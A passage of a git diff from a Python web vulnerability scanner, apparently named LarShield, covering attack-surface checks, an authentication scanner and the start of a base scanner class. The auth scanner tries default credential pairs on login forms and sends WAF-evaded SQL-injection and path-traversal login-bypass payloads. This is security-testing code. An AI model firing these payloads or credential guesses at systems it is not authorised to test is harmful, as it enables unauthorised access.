{len(api_paths)} Endpoint(s) Discovered", + severity="Low", + category="Attack Surface", + cvss_score=0.0, + description="The following API endpoints are part of the attack surface " + "and should be audited for authentication, authorization, and input validation:\n\n" + + "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in api_paths[:20]), + remediation="Ensure all API endpoints require authentication, validate input, " + "implement rate limiting, and are covered by the security test suite.", + ) + + # โ”€โ”€ 4. File upload endpoints โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + upload_forms = [f for f in forms + if FILE_UPLOAD_RE.search(str(f.get("raw_html","")))] + if upload_forms: + self.add_vuln( + title=f"File Upload Endpoint(s) Detected ({len(upload_forms)} forms)", + severity="High", + category="Attack Surface", + cvss_score=7.5, + description=f"Found {len(upload_forms)} file upload form(s). " + "File upload functionality is a high-risk attack surface and must be " + "protected against:\n" + "- Unrestricted file type uploads (webshell upload)\n" + "- Malicious filename attacks (path traversal)\n" + "- Oversized file DoS\n" + "- MIME-type spoofing", + remediation="1. Validate file types by magic bytes, not extension/MIME.\n" + "2. Store uploads outside the web root.\n" + "3. Rename uploaded files to random UUIDs.\n" + "4. Enforce maximum file size limits.\n" + "5. Scan uploads with antivirus before serving.", + ) + + # โ”€โ”€ 5. Exposed email addresses โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + emails = list(set(EMAIL_RE.findall(combined_html))) + emails = [e for e in emails if not e.endswith((".png",".jpg",".gif",".css",".js"))] + if emails: + self.add_vuln( + title=f"Email Addresses Exposed in HTML ({len(emails)} address(es))", + severity="Low", + category="Information Disclosure", + cvss_score=3.1, + description="The following email addresses were found in page source:\n\n" + + "\n".join(f"- `{e}`" for e in emails[:15]) + "\n\n" + "Exposed emails enable targeted phishing, spam, and social engineering.", + remediation="1. Obfuscate contact emails using JavaScript or server-side rendering.\n" + "2. Use contact forms instead of direct email links.\n" + "3. Consider a generic contact@domain.com address.", + ) + + # โ”€โ”€ 6. Internal IP / hostname leaks โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + internal_ips = list(set(INTERNAL_IP_RE.findall(combined_html))) + if internal_ips: + self.add_vuln( + title=f"Internal IP Address(es) Leaked in Page Source ({len(internal_ips)})", + severity="Medium", + category="Information Disclosure", + cvss_score=5.3, + description="Internal RFC-1918 IP addresses were found in the page source:\n\n" + + "\n".join(f"- `{ip}`" for ip in internal_ips[:10]) + "\n\n" + "Leaking internal IPs aids network reconnaissance.", + remediation="Remove all internal hostnames and IPs from HTML output. " + "Use public-facing domain names or proxied URLs.", + ) + + # โ”€โ”€ 7. Third-party script domains โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + ext_domains = set() + for m in re.finditer(r'src=["\']https?://([^/"\']+)', combined_html, re.I): + d = m.group(1) + if self.domain not in d: + ext_domains.add(d) + + if len(ext_domains) > 5: + self.add_vuln( + title=f"Large Third-Party Script Surface ({len(ext_domains)} external domains)", + severity="Medium", + category="Supply Chain Security", + cvss_score=5.9, + description=f"Found {len(ext_domains)} distinct external domains providing " + "scripts or resources. Each represents a supply-chain trust boundary:\n\n" + + "\n".join(f"- `{d}`" for d in sorted(ext_domains)[:20]), + remediation="1. Audit all external dependencies for necessity.\n" + "2. Self-host critical scripts where possible.\n" + "3. Add SRI (Subresource Integrity) to all external scripts.\n" + "4. Monitor CDNs and third-party scripts for tampering.", + ) + + # โ”€โ”€ 8. Parameters summary โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + all_params: set = set() + for url in urls: + qs = urllib.parse.parse_qs(urllib.parse.urlparse(url).query) + all_params.update(qs.keys()) + for form in forms: + all_params.update(f.get("name","") for f in form.get("fields",[]) if f.get("name")) + + if all_params: + self.log("INFO", + f"[AttackSurface] {len(all_params)} unique input parameter(s) identified: " + f"{', '.join(sorted(all_params)[:20])}") + self.add_vuln( + title=f"Input Parameter Inventory ({len(all_params)} parameter(s))", + severity="Low", + category="Attack Surface", + cvss_score=0.0, + description="The following input parameters were identified across all crawled pages " + "and should be tested for injection vulnerabilities:\n\n" + + ", ".join(f"`{p}`" for p in sorted(all_params)[:40]), + remediation="Ensure all listed parameters are covered by:\n" + "- Input validation and sanitization\n" + "- SQL/NoSQL injection testing\n" + "- XSS testing\n" + "- Business logic testing", + ) diff --git a/backend/scanners/auth_scanner.py b/backend/scanners/auth_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..9161f62929f407c0169f643ba72e102c3d3ea1cb --- /dev/null +++ b/backend/scanners/auth_scanner.py @@ -0,0 +1,506 @@ + +""" +auth_scanner.py โ€” Authentication Security Scanner +================================================== +Audits the authentication surface of a web application: + - Login form detection & HTTPS enforcement + - Default / weak credential testing (safe probes only) + - Brute-force protection (account lockout detection) + - Multi-Factor Authentication presence hints + - Password policy exposure via error messages + - Username enumeration via timing / response differences + - Auth bypass via HTTP verb tampering +""" +import re, ssl, time, urllib.parse, urllib.request, urllib.error, base64, json +from scanners.base_scanner import BaseScanner +from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector +from utils.evasion import waf_evade +from utils.differential import DifferentialAnalyzer, ParameterMutationTester + +LOGIN_PATHS = [ + "/login", "/signin", "/sign-in", "/auth", "/authenticate", + "/account/login", "/user/login", "/admin/login", "/wp-login.php", + "/portal", "/dashboard/login", "/api/auth/login", "/api/login", +] + +WEAK_CREDS = [ + ("admin", "admin"), ("admin", "password"), ("admin", "123456"), + ("admin", "admin123"), ("test", "test"), ("root", "root"), + ("administrator", "administrator"), ("user", "user"), +] + +SUCCESS_INDICATORS = re.compile( + r"(dashboard|logout|sign.?out|welcome|my.?account|profile|settings)", + re.I +) +FAILURE_INDICATORS = re.compile( + r"(invalid|incorrect|failed|wrong|error|denied|bad.?credential)", + re.I +) + + +class AuthScanner(BaseScanner): + SCANNER_NAME = "Authentication Security Scanner" + _SCANNER_KEY = "auth" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + self._tested = 0 + self._is_https = self.target.startswith("https://") + self._timing_detector = TimingAnomalyDetector() + self._size_detector = SizeAnomalyDetector() + self._differential = DifferentialAnalyzer() + self._mutation_tester = ParameterMutationTester(self._auth_mutation_req) + + def _auth_mutation_req(self, url, params): + data = urllib.parse.urlencode(params).encode("utf-8") + body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8) + return body or "", status + + # ------------------------------------------------------------------ + def run(self) -> list: + self.log("INFO", f"[Auth] Starting authentication security audit on {self.target}...") + try: + login_pages = self._discover_login_pages() + self.log("INFO", f"[Auth] Found {len(login_pages)} login endpoint(s)") + for url, form_data in login_pages: + self._audit_login(url, form_data) + + self._check_oauth_implicit_flow() + self._check_jwt_in_url() + self._check_auth_over_http() + self._check_oauth_state_parameter() + except Exception as e: + self.log("WARNING", f"[Auth] Error: {e}") + + self.log( + "SUCCESS" if not self.vulns else "WARNING", + f"[Auth] Audit complete. {len(self.vulns)} issue(s) found.", + ) + return self.vulns + + # ------------------------------------------------------------------ + def _discover_login_pages(self) -> list: + """Returns list of (url, form_fields_dict) for login pages found.""" + found = [] + base = self.target.rstrip("/") + for path in LOGIN_PATHS: + url = f"{base}{path}" + body, status = self._make_request(url, headers={"User-Agent": "LarShield/2.0 Auth-Audit"}, timeout=5) + if body and re.search(r'type=["\']password["\']', body, re.I): + fields = self._extract_login_fields(body) + found.append((url, fields)) + self.log("INFO", f"[Auth] Login page detected: {url}") + return found + return found + + @staticmethod + def _extract_login_fields(html: str) -> dict: + """Extract username/password field names from HTML.""" + user_re = re.search( + r']*name=["\']([^"\']*(?:user|login|email|username)[^"\']*)["\']', + html, re.I) + pass_re = re.search( + r']*type=["\']password["\'][^>]*name=["\']([^"\']+)["\']', + html, re.I) + if not pass_re: + pass_re = re.search( + r']*name=["\']([^"\']*(?:pass|pwd|secret)[^"\']*)["\']', + html, re.I) + return { + "username_field": user_re.group(1) if user_re else "username", + "password_field": pass_re.group(1) if pass_re else "password", + } + + # ------------------------------------------------------------------ + def _audit_login(self, url: str, fields: dict): + ufield = fields.get("username_field", "username") + pfield = fields.get("password_field", "password") + + # โ”€โ”€ Check 1: HTTPS enforcement โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + if not self._is_https: + self.add_vuln( + title="Login Form Served Over HTTP (No HTTPS)", + severity="Critical", + category="Authentication", + cvss_score=9.1, + description=f"The login form at `{url}` is served over plain HTTP. " + "Credentials are transmitted in cleartext and can be intercepted.", + remediation="Enforce HTTPS site-wide. Redirect all HTTP to HTTPS. " + "Use HSTS: Strict-Transport-Security: max-age=63072000; includeSubDomains", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + + # โ”€โ”€ Check 2: Weak / default credentials โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_weak_credentials(url, ufield, pfield) + + # โ”€โ”€ Check 3: Brute-force protection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_brute_force_protection(url, ufield, pfield) + + # โ”€โ”€ Check 4: Username enumeration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_username_enumeration(url, ufield, pfield) + + # โ”€โ”€ Check 5: HTTP verb tampering bypass โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_verb_tampering(url) + + # โ”€โ”€ Check 6: WAF-evaded auth bypass payloads โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_auth_bypass_payloads(url, ufield, pfield) + + # โ”€โ”€ Check 7: Differential auth bypass analysis โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self._test_differential_auth(url, ufield, pfield) + + # ------------------------------------------------------------------ + def _post_login(self, url, data, timeout=6): + try: + encoded = urllib.parse.urlencode(data).encode() + headers = { + "User-Agent": "LarShield/2.0 Auth-Audit", + "Content-Type": "application/x-www-form-urlencoded", + } + body, status, elapsed = self._make_timed_request(url, method="POST", data=encoded, headers=headers, timeout=timeout) + return body, status, elapsed + except urllib.error.HTTPError as e: + return "", e.code, 0.0 + except Exception as e: + self.log("ERROR", f"[Auth] _post_login failed: {e}") + return None, 0, 0.0 + + def _test_weak_credentials(self, url, ufield, pfield): + self._tested += 1 + for username, password in WEAK_CREDS[:5]: # limit to 5 pairs + body, status, _ = self._post_login(url, {ufield: username, pfield: password}) + if body and SUCCESS_INDICATORS.search(body): + self.log("CRITICAL", f"[Auth] Default credentials accepted: {username}:{password}") + self.add_vuln( + title=f"Default/Weak Credentials Accepted ({username}:{password})", + severity="Critical", + category="Authentication", + cvss_score=9.8, + description=f"The application at `{url}` accepted the default credentials " + f"`{username}:{password}`. An attacker can immediately gain access " + "to the application without any further effort.", + evidence=f"Success indicator matched using credentials {username}:{password}", + payload=f"{ufield}={username}&{pfield}={password}", + confidence="Confirmed", + remediation="1. Force credential change on first login.\n" + "2. Implement a strong password policy.\n" + "3. Remove all default accounts from production systems.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return + + def _test_brute_force_protection(self, url, ufield, pfield): + self._tested += 1 + blocked = False + for i in range(6): + body, status, _ = self._post_login(url, + {ufield: "sentinel_test_user", pfield: f"wrong_pass_{i}"}) + if status in (429, 423) or (body and re.search( + r"(locked|too many|rate limit|try again)", body or "", re.I + )): + blocked = True + break + if not blocked: + self.log("WARNING", f"[Auth] No brute-force protection detected at {url}") + self.add_vuln( + title="No Brute-Force Protection on Login", + severity="High", + category="Authentication", + cvss_score=7.5, + description=f"The login endpoint `{url}` did not block or rate-limit " + "6 consecutive failed login attempts. Attackers can automate " + "credential stuffing and password spraying attacks.", + remediation="1. Implement account lockout after 5 failed attempts.\n" + "2. Add CAPTCHA after 3 failed attempts.\n" + "3. Rate-limit login attempts per IP (e.g. 10/minute).\n" + "4. Alert on repeated failed attempts.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + else: + self.log("SUCCESS", f"[Auth] Brute-force protection detected at {url}") + + def _test_username_enumeration(self, url, ufield, pfield): + self._tested += 1 + body_valid, _, t_valid = self._post_login(url, {ufield: "admin", pfield: "wrongpass_sentinel"}) + body_invalid, _, t_invalid = self._post_login(url, {ufield: "nonexistent_sentinel_xyz", pfield: "wrongpass_sentinel"}) + if body_valid is None or body_invalid is None: + return + + # Timing-based enumeration using TimingAnomalyDetector + self._timing_detector.record(t_valid) + if self._timing_detector.has_baseline and self._timing_detector.test_payload("invalid_user", t_invalid, z_threshold=2.5): + self._tested += 1 + self.log("WARNING", f"[Auth] Timing-based username enumeration detected") + self.add_vuln( + title="Username Enumeration via Timing Side-Channel", + severity="Medium", + category="Authentication", + cvss_score=5.3, + description=f"The login form at `{url}` shows statistically significant timing " + "differences between valid and invalid usernames, allowing attackers to " + "enumerate valid accounts via response timing analysis.", + evidence=f"Valid user timing: {t_valid:.4f}s, Invalid user timing: {t_invalid:.4f}s", + confidence="High", + remediation="Implement constant-time response for all login attempts. " + "Add random jitter to response times.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + + # Size-based enumeration using SizeAnomalyDetector + self._size_detector.record_size(len(body_valid)) + if self._size_detector.test_size(len(body_invalid), z_threshold=2.0): + self.log("WARNING", f"[Auth] Size-based username enumeration detected") + self.add_vuln( + title="Username Enumeration via Response Size Difference", + severity="Medium", + category="Authentication", + cvss_score=5.3, + description=f"The login form at `{url}` returns differently sized responses " + "for valid vs invalid usernames ({len(body_valid)} vs {len(body_invalid)} bytes). " + "This allows attackers to enumerate valid accounts.", + evidence=f"Valid user response size: {len(body_valid)}, Invalid: {len(body_invalid)}", + confidence="High", + remediation="Return identical-length responses for all login outcomes. " + "Pad responses to a fixed size.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + + # Check if response text differs enough to enumerate users + if body_valid != body_invalid: + # Only flag if the responses are meaningfully different (> 50 char diff) + if abs(len(body_valid) - len(body_invalid)) > 50: + self.add_vuln( + title="Username Enumeration via Different Error Responses", + severity="Medium", + category="Authentication", + cvss_score=5.3, + description=f"The login form at `{url}` returns different responses " + "for valid vs. invalid usernames, allowing attackers to enumerate " + "valid accounts before attempting password attacks.", + remediation="Return identical error messages for all failed login attempts: " + "'Invalid username or password.' โ€” never specify which field is wrong.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + + def _test_auth_bypass_payloads(self, url, ufield, pfield): + """Test WAF-evaded auth bypass payloads.""" + bypass_payloads = [ + "' OR '1'='1", + "' OR 1=1 --", + "admin' --", + "' UNION SELECT * FROM users --", + "../admin", + "..%2fadmin", + ] + for payload in bypass_payloads: + for eva_name, eva_payload in waf_evade(payload): + try: + test_data = {ufield: eva_payload, pfield: eva_payload} + body, status, _ = self._post_login(url, test_data) + if body and SUCCESS_INDICATORS.search(body): + self._tested += 1 + self.log("CRITICAL", f"[Auth] Auth bypass with WAF evasion '{eva_name}': {eva_payload}") + self.add_vuln( + title="Authentication Bypass via WAF-Evaded Payload", + severity="Critical", + category="Authentication", + cvss_score=9.8, + description=f"Authentication bypass achieved using WAF-evaded payload " + f"'{eva_name}': '{eva_payload}'. The server processed the injection " + "and granted access.", + evidence=f"Success with payload variant '{eva_name}'", + payload=f"{eva_name}={eva_payload}", + request_details=f"POST {url} with payload {eva_payload}", + response_details=f"HTTP {status}", + confidence="Confirmed", + remediation="1. Use parameterized queries for all authentication logic.\n" + "2. Implement strict input validation on all auth fields.\n" + "3. Deploy a WAF with up-to-date rules.\n" + "4. Test all auth bypass payload variants.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return + except Exception as e: + self.log("ERROR", f"[Auth] SQLi bypass test error: {e}") + continue + + def _test_verb_tampering(self, url): + self._tested += 1 + body, status = self._make_request(url, method="HEAD", timeout=5) + if status == 200: + self.add_vuln( + title="Login Page Accessible via HEAD Method", + severity="Low", + category="Authentication", + cvss_score=3.1, + description=f"The login endpoint `{url}` responds to HEAD requests " + "with HTTP 200. While not directly exploitable, it may indicate " + "insufficient HTTP method restriction.", + remediation="Restrict allowed HTTP methods to GET and POST on login endpoints.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + + # ------------------------------------------------------------------ + def _test_differential_auth(self, url, ufield, pfield): + try: + anon_body, anon_status, anon_elapsed = self._post_login(url, {ufield: "test_user", pfield: "wrong_pass"}) + if anon_body is None: + return + self._differential.record("anonymous", anon_body, anon_status, anon_elapsed) + auth_body, auth_status, auth_elapsed = self._post_login(url, {ufield: "test_user", pfield: "correct_pass"}) + if auth_body is not None: + self._differential.record("authenticated", auth_body, auth_status, auth_elapsed) + result = self._differential.compare("anonymous", "authenticated") + if result.get("different"): + self.log("WARNING", f"[Auth] Differential analysis: auth bypass indicators detected (score={result['score']})") + self.add_vuln( + title="Potential Authentication Bypass โ€” Differential Response Analysis", + severity="High", + category="Authentication", + cvss_score=7.5, + description=f"Differential analysis of anonymous vs authenticated responses at {url} " + f"revealed significant differences (score: {result['score']}). " + f"Differences: {', '.join(result.get('differences', []))}. " + "This may indicate an authentication bypass vulnerability.", + evidence=f"Diff score: {result['score']}, diffs: {result.get('differences')}", + remediation="Implement consistent response handling for authenticated and unauthenticated requests. " + "Use server-side session validation for all protected endpoints.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + except Exception as e: + self.log("ERROR", f"[Auth] _test_differential_auth error: {e}") + + def _check_oauth_implicit_flow(self): + """Probe for OAuth implicit grant flow endpoints.""" + oauth_paths = [ + "/oauth/authorize", "/oauth/callback", "/oauth/token", + "/auth/authorize", "/auth/callback", "/auth/token", + "/api/oauth/authorize", "/api/oauth/callback", + ] + base = self.target.rstrip("/") + for path in oauth_paths: + url = f"{base}{path}" + body, status = self._make_request(url, timeout=5) + if body and ("response_type=token" in body or "response_type" in body): + self.add_vuln( + title="OAuth Implicit Grant Flow Detected", + severity="High", + category="Authentication", + cvss_score=7.5, + description=f"The endpoint `{url}` appears to use the OAuth implicit grant " + "flow (response_type=token). The implicit flow exposes access tokens " + "in the URL fragment, making them accessible via browser history, " + "Referer headers, and XSS attacks.", + evidence="response_type=token pattern found in response body", + payload=url, + confidence="High", + remediation="1. Use the authorization code flow with PKCE instead of implicit.\n" + "2. Never pass tokens in URL fragments.\n" + "3. Use 'state' parameter with CSRF protection.\n" + "4. Ensure tokens have short expiration.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return + + # ------------------------------------------------------------------ + def _check_jwt_in_url(self): + """Probe for JWT tokens passed as URL query parameters.""" + probe_paths = ["/api/user", "/api/me", "/api/profile", "/dashboard", "/"] + base = self.target.rstrip("/") + jwt_param_patterns = ["token", "jwt", "access_token", "auth_token", "bearer", "id_token"] + for path in probe_paths: + for param in jwt_param_patterns: + test_url = f"{base}{path}?{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test" + body, status = self._make_request(test_url, timeout=5) + if body and status == 200: + self.add_vuln( + title="JWT Token Accepted via URL Parameter", + severity="High", + category="Authentication", + cvss_score=7.5, + description=f"The application at `{test_url}` accepted a JWT via the " + f"`{param}` URL parameter. JWTs exposed in URLs are leaked through " + "server logs, browser history, and Referer headers.", + evidence=f"Request with JWT in {param} parameter returned status {status}", + payload=f"{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test", + request_details=f"GET {test_url}", + confidence="Medium", + remediation="1. Transmit JWTs only in Authorization headers (Bearer scheme).\n" + "2. Never accept tokens via URL parameters.\n" + "3. Use short-lived tokens and refresh token rotation.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return + + # ------------------------------------------------------------------ + def _check_auth_over_http(self): + """Check for authentication-related endpoints served over plain HTTP.""" + test_paths = ["/login", "/signin", "/auth", "/oauth/authorize", "/api/auth/login", "/api/auth/token"] + if self._is_https: + http_base = self.target.replace("https://", "http://", 1).rstrip("/") + for path in test_paths: + url = f"{http_base}{path}" + body, status = self._make_request(url, timeout=5) + if body and status and status < 400: + self.add_vuln( + title="Authentication Endpoint Available Over HTTP", + severity="High", + category="Authentication", + cvss_score=8.3, + description=f"The authentication endpoint `{url}` is accessible over " + "plain HTTP. Credentials or tokens transmitted over HTTP can be " + "intercepted by anyone on the same network via man-in-the-middle attacks.", + evidence=f"Endpoint responded via HTTP with status {status}", + payload=url, + request_details=f"GET {url} (HTTP)", + confidence="Confirmed", + remediation="1. Redirect all HTTP traffic to HTTPS at the load balancer or web server.\n" + "2. Implement HSTS headers: Strict-Transport-Security: max-age=31536000.\n" + "3. Add HSTS preload directive.\n" + "4. Ensure all authentication endpoints are HTTPS-only.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return + + # ------------------------------------------------------------------ + def _check_oauth_state_parameter(self): + """Check for OAuth state parameter usage in authorization flows.""" + probe_urls = ["/auth/authorize", "/oauth/authorize", "/oauth/callback"] + base = self.target.rstrip("/") + for path in probe_urls: + url = f"{base}{path}" + body, status = self._make_request(url, timeout=5) + if body and status == 200 and "client_id" in body: + if "state" not in body: + self.add_vuln( + title="OAuth Authorization Request Missing state Parameter (CSRF)", + severity="High", + category="Authentication", + cvss_score=7.4, + description=f"OAuth endpoint at `{url}` appears to process authorization " + "requests without a 'state' parameter. This exposes the OAuth flow " + "to CSRF attacks where an attacker can bind a victim's account to " + "the attacker's session.", + evidence="state parameter missing from OAuth authorization request", + payload=url, + request_details=f"GET {url}", + confidence="Medium", + remediation="1. Always include a cryptographically random 'state' parameter.\n" + "2. Validate the state parameter on the callback endpoint.\n" + "3. Use PKCE to further protect the authorization flow.", + cwe_ids=["CWE-287"], + owasp_category="A07:2021 โ€“ Identification and Authentication Failures", + ) + return diff --git a/backend/scanners/base_scanner.py b/backend/scanners/base_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..c4727de18e3f04cfc82a3821d824140bf0b624ce --- /dev/null +++ b/backend/scanners/base_scanner.py @@ -0,0 +1,694 @@ +""" +base_scanner.py โ€” Foundation for all WSS scanners +=================================================== +Security hardened per Expert Audit (June 2026): + GAP-001: confidence + scanner_key + cve_ids + timestamp fields in build_vuln() + GAP-002: Target SSRF self-validation (_validate_target) โ€” NOW CALLED IN __init__ + GAP-003: _make_request() / _make_headers() unified helper (auth-aware) + GAP-004: Ring buffer (max 5000 lines) for active_scan_logs + GAP-S1: Secrets masking in log output + GAP-S2: Structured JSON security event logging + +FIXES (June 2026): + BUG-12/SEC-3: _validate_target() is now called inside __init__ so ALL scanners + are protected from being used as SSRF pivots โ€” was dead code before. + ENH: Added _safe_url_join() to construct test URLs without path confusion. + ENH: Added _deduplicate_vulns() to remove identical findings before reporting. + ENH: _make_async_requests() now properly captures exceptions per-future. +""" +import re +import os +import json +import ssl +import time +import http.client +import socket +import logging +import ipaddress +import threading +import urllib.request +import urllib.error +from datetime import datetime, timezone +from urllib.robotparser import RobotFileParser +from urllib.parse import urlparse, urljoin, urlencode, quote +from utils.vuln_classifier import enrich as _classify_enrich +from scanners.core.baseline import SiteBaseline +from scanners.core.confidence import ConfidenceTracker + +# โ”€โ”€ Log store โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +active_scan_logs: dict[str, list[str]] = {} +_logs_lock = threading.Lock() +MAX_LOG_LINES = 5000 # GAP-004: ring buffer cap + +# โ”€โ”€ WebSocket integration for real-time updates โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +_socketio_instance = None +_socketio_lock = threading.Lock() + +def set_socketio_instance(socketio): + """Set the global SocketIO instance for real-time progress updates.""" + global _socketio_instance + with _socketio_lock: + _socketio_instance = socketio + +def emit_scan_progress(scan_id: str, event_type: str, data: dict) -> None: + """Emit real-time scan progress events via WebSocket.""" + global _socketio_instance + with _socketio_lock: + if _socketio_instance: + try: + _socketio_instance.emit(event_type, data, room=f'scan_{scan_id}') + except Exception as e: + # Silently fail if WebSocket is not available + pass + +def parse_domain(url): + try: + parsed = urlparse(url) + return parsed.netloc or parsed.path + except Exception: + return url + +def cleanup_scan_logs(scan_id): + with _logs_lock: + if scan_id in active_scan_logs: + del active_scan_logs[scan_id] + +def schedule_log_cleanup(scan_id, delay=3600): + def cleanup_task(): + time.sleep(delay) + cleanup_scan_logs(scan_id) + threading.Thread(target=cleanup_task, daemon=True).start() + +# โ”€โ”€ Environment โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +DEFAULT_VERIFY_SSL = os.environ.get("WSS_VERIFY_SSL", "0") == "1" +XSS_CALLBACK_URL = os.environ.get( + "WSS_XSS_CALLBACK_URL", + "https://xss-reporting.internal/callback", +) + +# โ”€โ”€ Secret patterns to mask in logs (GAP-S1) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +_SECRET_PATTERNS = [ + (re.compile(r'(AKIA[0-9A-Z]{16})'), r'AKIA****'), + (re.compile(r'(sk-[a-zA-Z0-9]{40,})'), r'sk-****'), + (re.compile(r'([Bb]earer\s+)[A-Za-z0-9\-_.~+/]+=*'), r'\1****'), + (re.compile(r'(password["\s:=]+)[^\s&"\']+', re.I), r'\1****'), + (re.compile(r'(token["\s:=]+)[^\s&"\']{8,}', re.I), r'\1****'), +] + +# โ”€โ”€ Structured security event logger (GAP-S2) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +_sec_logger = logging.getLogger("LarShield.Security") +if not _sec_logger.handlers: + _h = logging.FileHandler("security_events.log", encoding="utf-8") + _h.setFormatter(logging.Formatter("%(message)s")) + _sec_logger.addHandler(_h) + _sec_logger.setLevel(logging.INFO) + _sec_logger.propagate = False + + +def _clean_nul(val) -> str: + if val is None: + return "" + if not isinstance(val, str): + val = str(val) + return val.replace("\x00", "").replace("\u0000", "") + + +def _mask_secrets(text: str) -> str: + """Redact known secret patterns before writing to logs.""" + text = _clean_nul(text) + for pattern, replacement in _SECRET_PATTERNS: + text = pattern.sub(replacement, text) + return text + + +def _log_security_event(event_type: str, scan_id: str, message: str, level: str) -> None: + """Write structured JSON security event for SIEM ingestion.""" + event = { + "ts": datetime.now(timezone.utc).isoformat(), + "event_type": event_type, + "level": level, + "scan_id": scan_id, + "message": _mask_secrets(message), + } + _sec_logger.info(json.dumps(event)) + + +def get_scan_logs(scan_id: str) -> list[str]: + with _logs_lock: + return list(active_scan_logs.get(scan_id, [])) + + +def add_log(scan_id: str, level: str, message: str) -> None: + timestamp = 